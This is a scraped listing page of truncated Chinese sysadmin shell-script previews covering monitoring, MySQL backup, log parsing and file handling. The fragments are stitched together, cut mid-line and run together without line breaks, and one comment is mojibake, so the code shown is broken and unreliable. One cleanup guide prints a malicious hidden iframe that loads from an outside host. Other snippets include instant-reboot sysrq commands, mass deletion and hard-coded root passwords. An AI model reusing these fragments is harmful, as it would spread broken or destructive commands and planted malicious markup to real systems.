#!/bin/bash #check_down check_date=`date +%Y/%m/%d" "%k:%M` check_ip=/root/zhubo/script/check_ip.txt check_phone=/root/zhubo/script/check_phone.txt YES=""
#!/bin/sh # Author: xxx # Purpose: Moniter the web status, send a alert mail when it's not available. export LANG=C EMAIL=xxx@gmai
find . -type f -atime -30 -exec mv {} ../back \\; 将最近30天访问过的文件移动到上级back目录
[root@h1 ~]# smartctl -a /dev/sdasmartctl version 5.36 [i686-redhat-linux-gnu] Copyright (C) 2002-6 Bruce AllenHome page is 
#!/bin/bash#write java path echo "ADD file"echo "" >>/etc/profileecho 'JAVA_HOME=/usr/java/jdk1.6.0_20' >>/etc/profileecho 'JRE_HOME=$JAVA_HOME/jre' >>/etc/profileecho 'PATH=$JAVA_H
linux 下 tar 打包不会自动打包 . 开头的隐藏文件 又不能 .*那就下面这种,哇哈哈 tar -zcvf soft.tgx * .[!.]*
/da/we/html/a 下面有80万个html 需要删除任意的2w个 cd /da/we/html/a;ls -U|head -n 20000|xargs rm -f 1秒钟搞定 默认ls是会排序的 这样执行会卡住了。ls -U
VIP漂移生效时间可以用如下命令去缩短: arping -q -c 2 -U -I $dev $addr 说明: $dev 是 bond0一类的网络设备; $addr 是要生效的IP地址
在NRPE里定义command[check_mem]=/usr/local/nagios/libexec/check_mem -w 1048576 -c 524288警告阀值是小于1G报警,小于500M严重警告。脚本在附近里。
[root@ppp ]# mysql -e "show processlist"|awk '{print $3}' |awk -F: '{print $1}' |sort |uniq -c |sort -nr 320 192.168.240.162 300 192.168.240.163 1
#!/bin/bashfor j in `mysql -uroot -p123456 -e "use test;show tables" | grep -v Tables`do case $j insablog_users):;;sablog_articles):;;sablog_comments):;;*)mysqldump -uroot -p123456 --default-character
# 立即重新启动计算机echo "b" > /proc/sysrq-trigger # 立即关闭计算机echo "o" > /proc/sysrq-trigger # 导出内存分配的信息 (可以用/var/log/message 查看)echo "m" > /proc/sysrq-trigger # 导出当前CPU寄存器信息和标志位的信息ech
假如同时给上千台服务器执行一个命令,拷贝一个文件,杀一个进程等,有什么简化运维管理的工具呢?在小型使用中我都是使用for循 环,数量巨大,一方面不确定操作是否成功,一方面for循环语句性能不好估计且是不是同步并行执行.,这类工具比如 pdsh,mussh,cssh,dsh等还有这里提到的pssh: 1 安装: #wget http://peak.telecommunity.co
grep -P '12\/May\/2011:18:4[3-9]:\d{2}' access.log > storm.log得到了storm.log,下面我便要找出拖垮我服务器的元凶,及访问数量最高的$request。因为$request都是 “GET /***** HTTP/1.1″ 或 “POST /****” 这样的格式, 所以可以通过简单的正则取出$request,如下grep -o
#!/bin/shHOST=192.168.110.20USER=rootPASS=123456PORT=1221DIR=$(date +%Y-%m-%d -d '1 days ago')cd /data/ftp/while truedo du -s > /home/logs/du_1.txt sleep 300 du
查看系统资源占用分配情况和进程数: [root@www ~]# ps -Ao comm,pmem,pcpu --sort -rss | uniq -c | head -15 1 COMMAND %MEM %CPU &nb
备份的数据名字为 www.sql 几十G的数据 我想在里面把b_new表提取出来,不想通过mysqldump的方式弄。 [root@localhost home]# cat 2.shawk '/CREATE TABLE `b_new`/{print;while(getline line){if(line ~ /DROP TABLE/)
#!/bin/bashcd /u1/Operation_log/##format logfor i in `ls -l | awk '{if(NR==1)next;print $NF}'`do cat $i | perl
类似:http://img.qq.com/news/2010-9/201091922363125079_C.jpg替换为http://img.qq.com/news/2010-9/201091922363125079_c.jpghttp://img.qq.com/news/2010-9/201091922361111071_C.jpg替换为http://img.qq.com/news/2010-9
在access.log中截取 16/Aug/2010:14:31:30到17/Aug/2010:10:12:07间的日志信息,并输出到log.txt中,我的思路,用sed打印16/Aug/2010:14:31:30和17/Aug/2010:10:12:07间的日志并> #!/bin/bash n1=`grep -n '16\/Aug\/2010:14:31:30' access.log|
/usr/local/mysql/bin/mysql -S /tmp/$2.sock -e "stop slave IO_THREAD;" while truedo/usr/local/mysql/bin/mysql -S /tmp/$2.sock -e "show slave status\G" > /opt/slave_status.log Master_Log_File=$(cat
#-print 将查找到的文件输出到标准输出#-exec command {} \; —–将查到的文件执行command操作,{} 和 \;之间有空格#-ok 和-exec相同,只不过在操作前要询用户 =======================================
操作下面之前注意系统的date时间 find/root/test目录下面从2011年6月1号12点00到2011年6月1号12点30分哪些文件更新过 touch -t 201106011200 start touch -t 201106011250 stop find /root/test/ -newer start -a ! -newer
#!/bin/sh # Usage: ./loworup.sh <-l | -u> <target_directory> # # 碌诙镁脨虏伪脴毛目录拢卢碌脷禄脨虏脦赂露篓-l禄貌# if [ $# -ne 2 ] ; then echo "Usage: ${0} <-l | -u> <
首先利用工具分析查找出恶意代码(firebug、httpwatch等来分析) 恶意代码如下: <iframe src=http://lcvo.3322.org/dszq/8.htm width=111 height=0 border=0></iframe> 解决方法: 1.查找出包含恶意代码的所有文件名,输入到日志中 grep &q
#!/bin/bash ########################################################### #  
[root@data2 ~]# cat /root/copymysql.sh mount -t nfs 192.168.17.49:/home1/mysql_bak /mnt [ ! -d /mnt/`date +%Y-%m-%d` ] && mkdir -p /mnt/`date +%Y-%m-%d` cp -R
http://www.txt2re.com/index.php3
shell
Copyright © 2005-2024 51CTO.COM 版权所有 京ICP证060544号